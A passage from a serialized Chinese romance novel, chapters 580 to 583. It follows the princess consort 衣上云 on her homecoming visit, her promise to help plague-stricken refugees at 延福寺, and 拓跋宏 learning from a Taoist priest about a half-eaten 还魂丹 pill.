岂料一不小心,竟撕扯到衣上云的伤口,衣上云吃痛,顿发出一阵闷声:“嘶!” 燕儿一见,紧忙附手上去替其检查伤势,朝其忧心极了地说:“对不起,小姐,燕儿方才不是故意的,是不是很痛?” “别怕,不碍事的!燕儿,听我的话,忘了吧!”衣上云对其笑了笑,道。 燕儿依旧与其相对视着坚持了许久,最后终无可奈何点了点头,答应了。 就此,俩人亦不再提及关于此事,继续朝着云水阁方向回去。 然走着走着,衣上云却忽然觉得哪里似是有些不对劲,于是边走边道:“对了,燕儿,你不觉得我们今天太过容易就得手了吗?” 闻此,燕儿一脸疑惑地看向衣上云的脸。 衣上云抬起头来,朝着周围观察了片刻,道:“这偌大的秦王府里,里里外外到处都有暗卫把守着,更何况是应该布下重兵把守着的暗室,可怎的我们如此容易便就找到了大药女,又人不知鬼不觉地将她放走!” 燕儿正在认真思考衣上云所说的话,衣上云忽问她道:“是谁告诉你暗室所在,以及开启地牢的机关所在的?” 燕儿回想了一瞬,道:“燕儿是无意间偷听到早晨侍卫们换班时,程将军说的。” “是程将军亲口说的?”衣上云惊诧地道。 燕儿点了点头。 衣上云心里似是已恍然大悟,口中喃喃低语道:“程将军办事向来仔细,怎会如此大意泄露机密,难道……这一切,是殿下有意让人引导我们而为之的……” 看到衣上云再次陷入沉思,燕儿声声唤她道:“小姐,小姐,小姐你怎么了?” 衣上云顿回过神来,道:“我没事,好了,咱们快些回去吧!” 就在衣上云与燕儿一道小心翼翼地刚回到云水阁时,顿见院子里堆满了好几个大大小小的箱子,且每个箱子上都系着喜庆耀眼的红绸。 衣上云只惊谔地缓缓驻足下来,望着眼前的一切。 燕儿呆呆地道:“小姐,这是……” 说着,便越过衣上云,上前去仔细打量起那些箱子来。 衣上云打开其中一箱,燕儿吃惊地道:“这……这可是出自京城里臻宝坊的首饰,每一件都只有名门闺妇才配拥有的……” 衣上云从里面拿起一个小木匣打开一看,一方凝翠抵万金,里面竟是一苍翠欲滴,外圆内方,高雅温婉的满绿玉镯。 而另一边燕儿打开的则是一支水润光泽,清澈透亮的金镶翡翠花瓣流苏簪子。 伴随着衣上云亲自将这些箱子一个个掀开,主仆俩顿时被其惊呆了。 “还有天香斋刚出的新品糖果点心,这可是有钱人排队都不一定能买到的呢……” 作为一个妥妥的小吃货,眼看着燕儿眼巴巴地只能干望着,口水似是都快要流下来了。 不仅如此,燕儿惊叹不断。 “还有成衣……” “佳酿……” “古董……” “字画……” …… 其中每一件都价值不菲,无一不精美绝伦,燕儿惊喜连连。 最后,她喜不甚收地轻轻抚摸着一个箱子里柔柔软软的面料,道:“这可都是眼下城里最时兴的料子了,轻盈透气又舒适,只是这么多,且都还备的是双份的,殿下莫不是将这些整个店俱都搬空了回来府里给小姐吧?” 就在这时,忽然从门口传来轩辕翰熟悉的声音:“王妃一早这是去哪儿了,竟连今日归宁之事都忘了吗?” “归宁?” “归宁?” 主仆俩这才顿时一起反映了过来,衣上云望向燕儿的脸,顿时恍然大悟,面面相觑着异口同声道。 “难不成,这么快便已习惯了本王的王府,竟使得王妃一来便忘了归家?” 轩辕翰一袭玄色锦袍,双手附后近身过去到衣上云的身旁,目光灼灼地撞上她温柔的双眸,故意打趣调侃她道。 然衣上云顿微微低垂下的脸颊上,却倏地现出一抹粉红。 在俩人一同前往城西衣府的马车上。 衣上云秀眉轻蹙,垂眸沉默了许久,终先开了口,道:“殿下,谢谢你!” 因为衣上云的关系,轩辕翰夜里着实亦未休息好。 此时似是正在闭目养神,闻声顿睁开一双深邃的眼眸来,问:“为什么要谢本王?” 衣上云轻抿了抿嘴唇,道:“云儿知道,殿下是有意让程将军泄露给燕儿暗室的信息,如此,才使得我们顺利放走了大药女。殿下,对不起……” 轩辕翰直视着前方,道:“王妃怕是想多了,本王只是不舍得本王的王妃半夜里为了一个不相干的人辗转反侧,难以成眠,坏了本王的好兴致。从今以后,除了本王,王妃不允许为任何人这样,可都记住了!” “嗯……”衣上云听了这番话,方才抬起一双明亮的眸子复又望向他,噙了几分女儿家的娇媚笑意,乖巧温顺地坐在其身旁,满心满眼皆是幸福。 沉默片刻,忽然,轩辕翰复又开口说:“云儿,只此一次,日后务必要好好护住自己的身子,本王都不舍得伤你,又怎能容忍别人伤你呢?” 望着他极好看的侧脸,衣上云心里感动不已,心里默默道:“没错,既然已经决心选择了这样的男人,无论注定会是怎样的结局,至少眼下,我和这个男人都是幸福的,便足矣!” 第五百八十章:所谓的坊间传闻 城西衣府门前。 知道今日是衣上云归宁的日子,街头巷尾,一早便拥堵了许多左邻右舍,前来等着观看热闹的人。 人群里,早早便开始议论纷纷起来,说什么的都有。 “不知道今日归宁,秦王殿下是否会来?” “区区衣府,门楣如此之低,今儿不过归宁罢了,秦王怎么可能会亲临?” “大婚之日,秦王不也亲自来接亲了吗?今日归宁,又怎么可能不来?一定会来的,你就瞧着吧!” “想当初,那尊贵的东宁公主远道而来和亲时,大婚之日,秦王殿下甚至连面都不曾露过,可见这衣府大小姐,颇称王爷之心。” “真是万万没想到,咱们这位万年冰山的冷酷王爷,最后竟然被衣府这个丑丫头给收了,你说这丫头到底何德何能,她是走了什么狗屎运了呀?” 众人对此纷纷摇头,以示不解。 忽然,人群里有人说:“唉,你们都还记不记得之前关于衣府的那个传说?” “传说……你说的可是……” “没错,就是前几年,衣府这位大小姐在昏迷了一年后,忽然在一电闪雷鸣,风雨交加的夜里,空中现出一只偌大的七彩凤凰虚影,落入衣府大小姐阁楼的事情,那大小姐便正是那时候苏醒的。” “那大小姐……怕会不会是……是……妖。” 此话一出,顿引得周围众人一起惊呼道:“妖?” 那传谣之人压低了些许声音,分析说:“你们仔细想想,哪里有人昏迷了一年还能醒过来的。而且这大小姐苏醒前一向是大门不出,二门不迈,然苏醒后无论是性格还是胆识,明显与从前判若两人。如今,更是飞上枝头变凤凰,嫁进了权倾朝野的秦王府,秦王是何许人也,日后极有可能……那她不是妖,是什么?” “或者,又会不会是受了那道七彩凤凰虚影的惊吓,中邪了?” …… 此时,正从众人面前经过的马车里,衣上云与轩辕翰俩人俱都清晰地听到了这些风言风语。 “程良……” 轩辕翰顿时眉头皱起,正想叫来程良,让其去处理一下。 岂料衣上云却一把附手上去按压住轩辕翰正放在自己膝前的大手,摇了摇头,道:“云儿没事,殿下不必动怒。” “可是……”轩辕翰还想说些什么,却被衣上云开口挡了回去。 衣上云对上轩辕翰的眼睛,微笑着说:“正如殿下方才所言,本就是些无关紧要的人,在此闲来无事嚼舌根,说些无关紧要的话而已,又岂能让他们坏了我跟殿下今日归宁的好兴致呢!” 闻此,轩辕翰也只能无奈地收回命令,对尚还一直在外面侯着领命的程良说了句:“没事了!” 很快,秦王府的马车终于缓缓停在了城西衣府的门前。 远远地,家主衣上坤一看见,便领着全家走下台阶来郑重地迎接:“微臣携衣府上下恭迎秦王殿下,王妃娘娘。” 霎时,轩辕翰先走出了马车,复又回头伸手将后面的衣上云亲自扶了下来。 方才对跪了一地的衣府主仆若干人冷声说了句,道:“都起来吧!” 众人这才纷纷敢立起身来。 衣上云隧上前两步,一一朝着众人行礼问候。 “父亲” “母亲” “姨娘” “雪儿” “你们大家都可还好?” 衣上坤笑着,代替全家回话:“托王爷,王妃的福,我们都很好。” 一家人终于不用远走他乡,过逃亡的日子,衣上云满意地点了点头,微笑着说:“那就好。” 这时,衣上坤伸手邀请轩辕翰,道:“王爷,王妃一路上辛苦,咱们先进去再说吧!” 轩辕翰正想与衣上云一道踱门而入,岂料衣上云竟忽从轩辕翰的身旁抽身,走到了年氏的身边,与其拉着手边说话,边进了门。 轩辕翰显然扑了个空,心里难免有些失落,最后亦在衣上坤的陪同下进门。 只留下身后的一众吃瓜群众,皆都目瞪口呆地被挡在了门外。 一进门,年氏便着急地拉着衣上云一边打量,一边担心地问:“听你父亲说,你在御药房里被人用刀险些刺到了心口,怎么样?身上的伤,如今怎么样了?快让母亲瞧瞧。” 衣上云笑着阻止,安慰她道:“母亲别担心,我没事,只是小伤而已,早就不疼了!” 看到衣上云至今似是仍然云淡风轻地以为这次的意外只是小事,年氏忽然再也控制不住这几日内心的焦虑,滔滔不绝起来。 “都快被人拿刀刺到心口了,还说没事,我又怎能不担心?” 说着瞪了一眼一旁的衣上坤,继续说:“都怪你父亲,我早就说要去王府看你,他非拦着我不让我去。说王府里什么都是最好的,用不着我操心。可我怎能不担心,这几日,我是白天吃不下,晚上睡不着。” 似是急地都快要哭了,年氏含泪道:“你这个孩子,如今怎么老是不听劝,总一副大大咧咧,天不怕地不怕的架势。你以前也不是这样的啊!以前你凡事甚是谨小慎微,哪怕是被人欺负,也总是藏着躲着,如今却整日里不是替别人出头,就是替别人挡刀,日后你还想做什么?你怎么就总是做这些女儿家出格的事呢?你真是急死我了?你说你要是有个什么好歹,让我们怎么对得起你……” 似是忽觉自己说错了话,顿看了一眼衣上坤,最后说道:“以后再也不能这样了,知道没?” 面对着此刻年氏激动的情绪,衣上云只能感动又乖巧地道了句:“我知道了,对不起,让你们都为我担心了!” 然却正是年氏此刻这番发自肺腑的话,却勾起了轩辕翰沉沉的思绪。 他忽然想起方才市井小民们所议论的衣上云,和年氏此刻嘴里的这些话竟是如此的如出一辙,甚是相像。 这样一来,看来衣上云苏醒前后的确甚是不同,可又为何一个人的变化会如此之大? 那夜里,明月阁中到底发生了什么事?衣上云自己又知不知道呢? 从她一直以来面对自己的眼神举止里,轩辕翰确定她似是什么都不知道。 可这所谓的坊间传闻,以及自己此刻所亲眼目睹的年氏的言行,让轩辕翰不禁也怀疑起衣上云究竟经历了些什么? 一场对于衣府来说,颇为隆重的家宴过后。 轩辕翰被衣上坤请到了早已命人准备好的客房里稍事歇息。 衣上云则与年氏回到了自己出阁前所居住的明月阁里,年氏询问道:“秦王待你可好?” 想起这两日,俩人在秦王府的朝夕相处,每日晨光中醒来时看到的他的睡脸,紧紧倚靠着他的时候那种莫名的安全感,衣上云脸颊忽然浮起一抹粉红,甚觉甜蜜地低叹了一声:“嗯” 年氏又问:“那太妃娘娘呢?” “太妃娘娘……” 衣上云若有所思着刚想开口,便被门外端着一盘茶果点心进来的燕儿抢了话:“哼……小姐大婚的第二日,太妃娘娘便嚷嚷着,叫小姐从秦王殿下的寝殿,林月轩里搬了出来。如今,小姐已经独自住到云水阁去了。” 衣上云顿时呵斥其道:“燕儿,多嘴。” 燕儿不以为然地说:“燕儿为何要闭嘴,可是燕儿哪里说的不对吗?” “燕儿,你……”衣上云正想教训她,却再次被年氏紧逼道:“燕儿说的可都是真的?太妃娘娘她真的这么做了吗?” 衣上云只能认真答说:“太妃娘娘,她也是为了女儿好!毕竟,我刚刚小产不久,不便侍奉殿下就寝,俩人分开睡,也是为了防止……” 余下的话有些难说出口来,衣上云索性拉起年氏的手,转而安慰其起来,说:“母亲放心,殿下他,真的待我极好!” 年氏心里仔细一琢磨,轩辕翰此时正值青春年少,血气方刚之际,衣上云的身子又尚还未痊愈,纯太妃心里所顾虑的似是也不无道理,于是便也能体谅其一片苦心,便道:“既是殿下真心待你,那我就放心了!” 于是,便安排道:“不如,让燕儿伺候你睡一会儿吧!走了那么远的路,定是累了。” 这时,衣上云似是忽然记起了什么,顿地起身来,说:“对了,差点儿给忘了。我不累,我想上街去逛逛。” “上街?这可是正午,外面日头正毒着呢!”年氏惊讶地道。 然衣上云说着,便朝门口走了去。 年氏只能着急地唤燕儿,道:“燕儿快跟上,外面这会儿日头大,给小姐遮着点日头,别让暑气打着了小姐。” “是,夫人。”燕儿一边应着,亦丢下手里的活赶忙疾奔跟了出去,朝衣上云的背影唤道::“小姐……小姐……等等我” 怎料下楼刚一出院子,竟被轩辕翰撞了个正着,衣上云只觉自己的脑门瞬间都快被撞闷了,一抬头,见是轩辕翰,便着急忙慌地说:“殿下不去自己房里午休,跑来明月阁做甚?” 第五百八十一章:延福寺的难民 “殿下不去自己房里午休,跑来明月阁做甚?” 见其着急忙慌得不知道要去干什么,俩人距离尚还如此地远,竟还差点儿被自己撞翻。 轩辕翰赶忙伸手动作极其敏捷地揽住了她的腰身,将她拾回后牢牢紧贴到自己身上,柔声说:“本王不能看不到你,本王想见你。” 衣上云在其怀里,与他如此般近距离地对视着,一股强烈的男子气息霸道极了地瞬间扑面而来。 不禁令她痴迷不已,遂愣了一下,顿了会儿,方才缓缓看着他的眼睛,说道:“我们,方才不是一直都在一起吗?” 岂料这时,轩辕翰竟忽将她柔软的身子又朝自己身上紧了一些,贴到她的耳边,对其呢喃软语说:“其实,本王来找你,是因为本王已经习惯了有你在枕边,本王想与本王王妃一道午休。” 闻此,衣上云的耳朵瞬间现出一片通红,遂一把推开了轩辕翰,大力地挣开其怀抱,拒绝他道:“不可以!殿下难道没听人说过,归宁之日夫妻俩是不可以同宿一榻的吗?这样不吉利。” 轩辕翰却依旧不依不饶,一副什么都不管不顾地样子再次黏了上去,从后面将她紧紧抱住:“本王才不管那么多!你放心,本王只想和你一起同榻而眠,本王保证绝对对你什么都不做。” 衣上云咬了咬嘴唇,如今她竟也已记不清,眼前的这个昔日里一贯清冷孤傲的男人,何时变成了如此一副黏人精模样了。遂脸上含羞着,嘴里喃喃自语道:“可明明每次你都差点儿就要控制不住……” “你说什么?”轩辕翰并未听清她的声音,便再一次问了句。 “小……”这时候,燕儿终于追了上来,然一见眼前如此亲密无间的俩人,遂惊地顿朝其瞪大了眼睛,同时一把紧紧捂住了自己的嘴巴,复一回过神来紧忙便悄悄退了下去。 相拥许久,只觉轩辕翰却是越拥越紧,似是丝毫没有打算放开她的意思。 衣上云始终记挂着自己心里尚还未办的事,尚未见的人,于是继续尝试着想要挣开束缚,开口道:“殿下,这会儿我真的要出去办点儿事情,很快便会回来的,等我回来还要与殿下一同回府呢!” 轩辕翰一听,着急地问:“你要去哪儿?本王陪你一起去!” 衣上云心里惊了一下,赶忙回拒推辞他道:“不用,不用,我自己去就行,很快便会回来的。” 轩辕翰想了想,还是不想一个人在衣府里独自呆着,可又不想搅了衣上云归家的兴致,便再次牢牢将她圈住,一脸宠溺地说:“如此,那本王便不答应!总之,今日王妃去哪儿,本王便去哪儿!” 衣上云艰难地在其怀抱里转过身来,对其笑了笑,说:“我知道殿下在这里很不习惯,这里地方小,房间更小,又很简陋,处处不比王府,殿下定是觉得闷的慌。我真的很感动,殿下今日能亲自送我归宁,不如这样吧,待会儿我回来的时候,送殿下一礼物,如何?我一回来,咱们便回府,可好?” 本以为衣上云没心没肺,一回到自己的家便就什么都忘了,彻底忽略了自己的存在,此时见她原是心里有自己的,于是便终于松口答应了她:“好吧,那王妃快去快回,本王还等你一道与本王回家呢!” “嗯”衣上云见终于说服了他,于是便长长地舒了口气,转身急急出了门。 距离衣府不远处,城西郊外,有一名为‘延福寺’的寺庙,近来总有一股浓浓的药草味飘散而出,掩盖了其往日里仅有的香烛气味。 衣上云出门几经探寻,加上根据回忆之前丁香所描述的,终于寻着这股愈来愈浓的药草香,找到了这里。 远远地,便看到寺庙里有一高高的宝塔耸立云端,甚是壮观。 踏着石板桥,走上一横跨在河道之上的拱形环龙石桥,从桥上一下来,延福寺便就现于眼前。 推门而入,衣上云顿时被眼前的一切惊呆了。 院子里,屋檐下,到处都挤满了病患,这些病患里男女老少皆有,且都衣衫褴褛着。有的比较严重的便躺在担架上,症状稍微轻一点的就那样随便寻个可以倚靠的东西席地而坐斜靠着。 寺庙里的师傅们正在帮忙照顾着这一院子的人,有的在喂汤药,有的在喂流食,有的在喂水,有的在煎药,有的在安抚病患消极的情绪,各个忙的不可开交。 就在衣上云愣在原地里,不明白这里究竟发生了什么的时候,眼前忽然出现了一个熟悉的身影。 衣上云缓缓上前走到其身后,半信半疑地轻轻唤了声:“丁香?” 丁香闻声,猛的回过头去看着衣上云的脸,惊诧不已地道:“王妃娘娘?你怎么来了?你怎么能来这种地方?” 说着,便急急从身上掏出一个干净的面巾来,过去替衣上云系上。 继而第一时间关切地询问她:“娘娘的伤势如何了?” 衣上云淡淡地说:“我没事,你不用担心。” 丁香则不以为然,激动地说:“伤口的位置如此凶险,奴婢怎能不担心,若不是娘娘替奴婢挡了那一刀,昨日被刺中的便是奴婢,王妃娘娘你真是吓死奴婢了啊!” 看到丁香眼里已然噙满了泪水,衣上云安慰她道:“好了,一切都已经过去了,如今我不好端端在立在你面前吗?不要怕了。” 替其亲自将泪水擦拭掉,衣上云方才不解地问:“原来你被外派出宫办差,竟然就是在这里。这里到底发生了什么?他们都怎么了?” 丁香一边将衣上云带到干净,安静些的地方,一边说:“其实,并不是宫里派奴婢……” 刚开口,衣上云便将其打断道:“丁香,在我心里,你可从来都不是什么奴婢,你我之间,无须如此这般拘泥于礼节,况且如今又是在宫外,你还是像从前那般唤我的名字就好!” 丁香则笑了笑,不以为然地道:“王妃娘娘此言差异,主即是主,仆便是仆,今日你我已然不同于以往,无论宫里亦或宫外,我又怎能再继续直呼王妃娘娘的闺名呢?如此于理不合。” “丁香……”衣上云还想再劝。 丁香将其打断道:“无论是之前同在御药房里向娘娘讨教医药之术,还是昨日在宫中娘娘替丁香出头正名。王妃娘娘对丁香的好,丁香会铭记于心一辈子,绝不辜负娘娘的期望,王妃娘娘是丁香此生唯一敬重之人,娘娘受得。” 听了这句肺腑之言,衣上云感动地握着她的手,唤她:“丁香,我的好丁香……” 丁香朝其笑了笑,复又看向院子里的病患,继续道:“其实,并不是宫里派奴婢来这里的,而是,奴婢自己请愿来的。” “是你自己请愿来这里的?”衣上云惊诧地说。 丁香点点头,继续说:“王妃娘娘所看到的这些人,他们都是来自西北偏远地区的难民,今年春天的一场特大风沙,使得他们的家园尽毁,不得已只能一路向东逃亡,然半数已死在了逃亡途中,即便侥幸至此的,亦是都已虚脱地几乎没了人形,再加上途中又感染了瘟疫,亦有半数已拉到后山中葬了!” 衣上云听了,愤愤不已道:“遭遇如此天灾,难道朝廷就不管吗?不派人赈灾吗?” 丁香道:“朝廷国库空亏已久,听说即便如此,皇上还在准备着征战,这在宫里几乎已经是人尽皆知的事了!” 衣上云惊诧极了:“那皇上便就放任这些灾民们自生自灭,丝毫不管不顾他们的死活吗?” “哼……” 丁香隧冷笑了一声,道:“皇上……他早就已经不是百姓们心中的天了!如今百姓们只等着何时能将这天换一换,好让他们的日子还能有些盼头。” 霎时间,衣上云的心里复杂极了。 就在这时,一大师过来抬起一手朝俩人施礼,说:“阿弥陀佛,女施主,现下寺里的药草已快用完了,劳烦女施主还得想办法再补些回来才好,否则怕是……” 丁香回礼,道:“我知道了,我会想办法。” 听了大师的话,衣上云似是明白了些什么,疑惑地问:“这些药,难道是……” 大师道:“这些药,都是这位女施主带来寺里的!” 衣上云顿看向丁香此刻苍白极了的脸,问,“你一个小小的御药房药女,哪儿来的银子买这么多药?我见这庙里前前后后,里里外外,看着也有好几百难民!” 丁香笑着说:“说起来,这里面也有王妃娘娘您一份功劳呢?” “我?”衣上云不明所以道。 丁香道:“王妃娘娘可还记得离宫时所得的赏赐,当初娘娘将其悉数送给了奴婢,幸好我留了一些在身边,这才救了急,帮了他们!” 丁香的善良与胸怀,着实让衣上云感到不甚安慰。 她满意极了地看着丁香的脸,说:“丁香,别怕,我来了,此后有我与你一起呢!” 第五百八十二章:不错,有秦王妃的样子 说着,衣上云心下里稍一思量,毫不犹豫地有了决定。 便即刻朝立在一旁的大师说:“劳烦大师将寺里现下所需要的药草列个详细的清单给我,不,还有其他物资的需求,比如粮食什么的,全都一并列个清单给我,我这便就去置办。” 丁香一听,忙开口阻止说:“不,王妃娘娘,这些事很是辛苦,让奴婢一人去做就行,怎能让娘娘受这样的苦?” 衣上云眉头紧锁,转头望向满院子病患,道:“医治难民的事情并非一两日之事,也非简单的三五人之事。如此巨大的一笔开销,又岂是你能承受的?况且,打从我一进门来,便只看见你一人忙前又忙后地在为他们医治,这里离不开你。” 其实,丁香的确早已经是囊中空空了。 方才大师过来说还要再采办些药草的时候,她嘴上虽然答应得很痛快,可接下来要怎么办,她心里的确还没有一丝头绪。 当初她出宫在山中采药,意外发现了几个逃难的百姓在山里自己寻药,便将他们带到了附近的延福寺,可谁想后面的难民竟然会越来越多,若不是延福寺肯无条件地收留这些难民,怕是所有人都要流落街头了。 可她心里始终担心着衣上云的身子:“可王妃娘娘您的身上还有伤呢?” 衣上云回头看着她的眼睛,大义凌然地说:“丁香,俗语有云,天下兴亡,匹夫有责。在大义面前,身为御药房一个小小的药女,你尚且都如此,而当今圣上却……” 衣上云心中悲痛万分,她怎么都没有想到,泱泱西秦大国,璟帝竟如此视这些受难的子民们命如蝼蚁草芥一般。 甚觉愤愤不平,顿了顿,下定决心道:“我亦同样为一医者,眼看着百姓们家园不复在,身体饱受病痛之折磨,且又被他们所依赖和庇护他们的天所抛弃,我绝不能见死不救,袖手旁观!” 就在这时,人群里忽然传出一阵孱弱的声音来。 对其颇为质疑地道:“你一个小丫头片子是什么人?竟敢在这里说下如此大话!没用的,你什么都做不了,我们的家园过去本就连年受灾,如今早已是千疮百孔,此次彻底被毁了,即便我们被治愈,也再回不去了,索性还不如死了痛快,兴许,还能在阴曹地府与妻儿老母得个一家团聚。” 闻声,丁香开口怒怼那说出此番话来的一白头老翁:“你知道她是谁吗?” 衣上云赶忙伸手,又摇了摇头,将丁香余下的话拦了下来:“丁香……” 继而,放眼过去在人群里将那白头老翁稍做了一番打量。 此时,他正衣衫褴褛地倚靠在房檐下角落里,一根漆红的柱子旁边席地而坐。 见其眉眼里似是有几分坚定沉着的气质,便问:“老人家,如果我没猜错的话,你可是这群灾民的领袖人物,可是你带着他们来到这里的?既然你有心求死,又为何历经千辛万苦带着他们千里迢迢至此呢?” 见衣上云讲话伶牙俐齿,句句命中其要害,未及老翁说话,丁香顿一脸佩服地看向衣上云的侧脸,赞叹道:“王妃娘娘的眼睛好生厉害,当时在山里,奴婢的确第一个遇到的便是这位老人家,他拄着拐仗,带着两个人,也在山里寻找药草。” 衣上云惊诧地问:“老人家亦擅长医药之术?” 老人言语里云淡风轻,却也极具悲凉:“左不过是带着一群本该死却又没死的将死之人在做最后一点无谓的挣扎而已,何谈擅长不擅长?” 衣上云听了稍一思量,嘴角一勾忽然扬出一抹微笑来,信誓旦旦地说:“我衣上云在此对天,对寺庙里的诸位神明起誓……只要我活着,定让你们平安归家,使你们的家园得已重建,人人安居乐业,且你们的子孙后代以后再也不会受到风沙的灾害。” 闻此,在场众人竟皆都陷入一片鸦雀无声之中,似是亦被其此刻认真极了的决心所震撼。 安排部署好寺里的一切救治工作,衣上云便急急地离开,去办这里所余下留给自己颇为重要的事情。 丁香亲自将其送到路口,心里颇为不安地说:“王妃娘娘,昨日在宫中,奴婢只是随口说说这里的情况而已,没想到您真的寻到这里来了。其实,他们就是一群灾民而已,娘娘不要拿他们的话当真了!” 衣上云摇摇头,态度坚决地说:“不,丁香,既然今日大庭广众之下我说了这样的话,便就一定会做到。朝廷已经放弃了他们一次,我便不能再放弃他们第二次!如此一而再的伤害,他们,受不住!” 可无论如何,丁香心里着实担心极了衣上云的身子。 治病救灾、重建家园、防治风沙…… 其中任何一个都不是一蹴而就,简单的事情,一个女子,如何办得到? 于是,她还想试着再劝:“可是娘娘你……” 怎料到了嘴边的话还未说完,便被衣上云开口挡了回去:“好了,不要再替我担心了。在这里,你也要保护好你自己,待我办妥余下的一切,便过来帮你!” 丁香无奈,只能点了点头,衣上云便笑着对其朝其挥了挥手道别,兀自离开:“保重!” “娘娘您也保重!” 丁香望着其此刻同她离宫那年一样,明明瘦弱不堪的背影,却忽然发现她其实已然成长,可以承担更多,也渐渐变得高大起来,就宛若那参天巨树,坚实又挺拔。 得到了衣上云相助,这下丁香总算能毫无后顾之忧地一心救助这里的灾民了。 可她自己却揽下了如此难办的许多事,丁香若有所思着回到庙里。 一进门,难民之间有一年长的妇人问:“丁姑娘,方才那位女子看起来气度不凡,她究竟是京城里哪位达官显贵家千金啊?” 丁香这才扬起声来,悠悠朝向众人宣布道:“她……她便是当今一人之下,万人之上的秦王殿下的王妃!今日正是她与秦王大婚第三日,归宁的日子!” “什么?她便是秦王妃?” “怎么没有一点儿王妃的驾子?” “归宁之日,还来这里探望我们这些人。” “方才听寺里的小师傅说,王妃马上会命人送许多吃的,穿的,用的东西来给我们。” “咱们总算是有救了!” “有救了,有救了……” “相信以后定会越来越好的……” 在场所有人顿时惊呆了,各个都交头接耳,议论纷纷着,对他们苦尽终会甘来的未来充满了希望。 整座寺庙里,顿显一片生机勃勃。 那角落里的白头老翁听了,亦是心里顿惊了一下,继而低声似是在自言自语一般地说道:“不错,有秦王妃的样子!” 与此同时,在城西一茶楼里,拓跋宏终于等到了他心心念念已寻找等待了许久的人。 只见一青衣老道手执算命幡旗,上楼兀自来到了正在靠窗边坐着喝茶的拓跋宏的面前,道:“许久未见,公子别来无恙?” 拓跋宏起身还礼,道:“道长别来无恙?请坐。” 俩人遂想对着,一同落坐下。 青衣老道儿先开口问:“贫道刚一回到城隍庙,小沙弥便告之贫道,说公子远道而来,找贫道有急事,不知公子此次找贫道是为了何事?” 拓跋宏缓缓从身上掏出一个朱红色的小木匣来,将其放到青衣道长的面前,问:“我想让道长帮我看看,这粒药丸,究竟是什么药?” 青衣道长一见到那熟悉的木匣,顿时朝其愣了一下,问:“这粒药丸,怎么会在公子这里?” 闻此,拓跋宏似是忽然猜到了什么,便朝其确认问:“道长此话何意?莫非这粒药丸是道长的?” 青衣道长回忆着道:“没错,这粒药丸,本的确是贫道的。不过,贫道之前已将她赠给了别人,如今这粒药丸,不知又怎会在公子这里?” 拓跋宏着实惊诧极了,没想到衣上云的药,竟然是他所赠,于是继续问:“那这药丸究竟是什么?又用于何症状?” 青衣道长笑了笑,遂拿起面前的那个朱红色小木匣仔细瞧了瞧,说:“这药丸,名曰还魂丹!还魂,还魂,其实就是一半还魂,一半显身,合在一起便可知天命!” “一半还魂,一半显身,合在一起便可知天命!”拓跋宏跟着默念了一遍,却似是仍然有些不明白。 一直以来,他只是心里隐隐觉得,衣上云在服下了一半还魂丹之后,便发生了许多事情,包括脑海中总是时不时出现一些不知道怎么回事儿的记忆残片,他必须替她弄明白这件事。 于是,便再次追问:“道长此话何意?” 青衣道长解释说:“这还魂丹,若只服下一半,将会显现你今生的真身,若再服下另一半,则会让你记起自己前世今生所有的过往,便是知天命!” 至此,拓跋宏似是终于有些明白了。 就在其陷入沉思之际,青衣道长忽然发出一阵惊呼声:“糟了……” 第五百八十三章:不当家不知柴米油盐贵 “糟了?莫非……难道她真的已服下了半粒还魂丹?” 青衣道长不知何时,竟已悄悄打开了面前的木匣,见里面已然只留下半粒药丸,顿惊谔极了地看向拓跋宏的脸,问。 拓跋宏懊恼自责极了地点了点头:“这一切都怪我,是我对她说了不该说的话,才让她负气吃下了那药丸,受了太多或许本该她不该受的苦。” 遂回忆着徐徐道:“与她再次重逢,我当时是真的太高兴了,我是真的没有想到,有生之年,竟然能在北烈……” 一句脱口而出无心的话,却也深深触及到了自己那根最敏感的神经,顿了顿,转口说:“竟然能在草原上再次遇见她,她原比我原以为的那样更加善良,更加勇敢。在草原上,她帮助了很多人,没有一个人不喜欢她的。所以,我也只是……我也只是不想错过,不想留下遗憾,想为自己勇敢一次。” 青衣道长似是看出了他的心思,揣测着问:“所以说,你喜欢上了她?” 拓跋宏毫不犹豫地道:“今生自从遇见了她,只觉此后所见皆不过尔尔。” 青衣道长长叹了一声,说:“可你亦知道,她并不属于你!” 拓跋宏沉默了一会儿,低声说道:“是,我知道,我知道,她是那般的好,自是配得上这世间最好的男人给她这世间最美好的幸福。” 青衣道长看着他落寞孤寂极了的样子,忽然说了句:“或者,你有没有想过,她可能根本就不属于这个世界呢?如此,她自然也不属于这个世界上的任何人。或许,有一天,等她做完自己该做的事情,便就会突然莫名其妙的永远消失不见,就像从来都没有来过这里一样,也未曾遇见过你们任何人。” 闻此,拓跋宏皱了皱眉,忽然抬起头来惊看向他的脸,问:“道长你说什么?什么离开?” “呃,没什么,我只是胡乱揣测,随便说说。”青衣道长顿回过神来赶忙打岔道。 可终是心里不禁难免有些心疼他,问:“你,难道不觉得苦吗?” 拓跋宏忽然苦笑了起来,过了会又说道:“像我这样的人,这辈子,既做不了父王心中所期待的那种人,也不能完完整整地做自己想做的人。这样的一生,若不是苦,又当是何滋味?” 原是世间又一山有木兮木有枝的苦情戏,青衣道长听了,甚觉的确悲凉。 就拓跋宏这样的性格,太过善良,又优柔寡断。显然不适合做一个杀伐果断的君王,可偏偏又生在了君王家,还被寄予厚望,终是未能得已善终,他竟也不知还能如何劝他。 沉默了许久,拓跋宏终于缓缓回过神来才问:“对了,方才道长为何惊呼?只服下半粒还魂丹,会有什么问题?” 青衣道长道:“还魂丹,若只服下一半,便会显露她的真身,真身将赋予她存在于这个时空的使命;可若再服下另一半……” 看到青衣道长再次犹豫了起来,拓跋宏着急的追问:“会怎样?” 青衣道长看着他的眼睛,认真地说:“若是再服下另一半,则又会让她记起自己前世今生的过往,还有一直存在与其心中的执念,恢复所有记忆,便就是知天命!” 拓跋宏听到这一切,顿时整个人都惊呆了,难怪衣上云当时总说她好像忘记了什么重要的回忆,竟是因为这还魂丹的缘故。 半晌后,方才开口弱弱地问:“何谓真身?” 青衣道长想了想,说:“许是一个印记。” “印记?”拓跋宏若有所思着,重复了一句。 青衣道长解释道:“这印记,亦是代表着她这一生要担负的责任,亦或使命。” 说着,兀自隧想了想,似是自言自语一般地道:“如此说来,她已经放下了不该属于这一世心中所有的执念,如今真身已现……” 即便声音很小,拓跋宏还是认真地听见了,只是不解地问:“如今真身已现,会如何?” 青衣道长从自己的思绪中回过神来,悠悠说:“真龙出海,灵空一统,凤凰涅盘,浴火重生,生既是死,死亦是生。” “真龙出海,灵空一统,凤凰涅盘,浴火重生,生既是死,死亦是生。”闻此,拓跋宏跟其默默地重复了一句。 心里却只隐隐觉得,这天下将就要有大变化了。 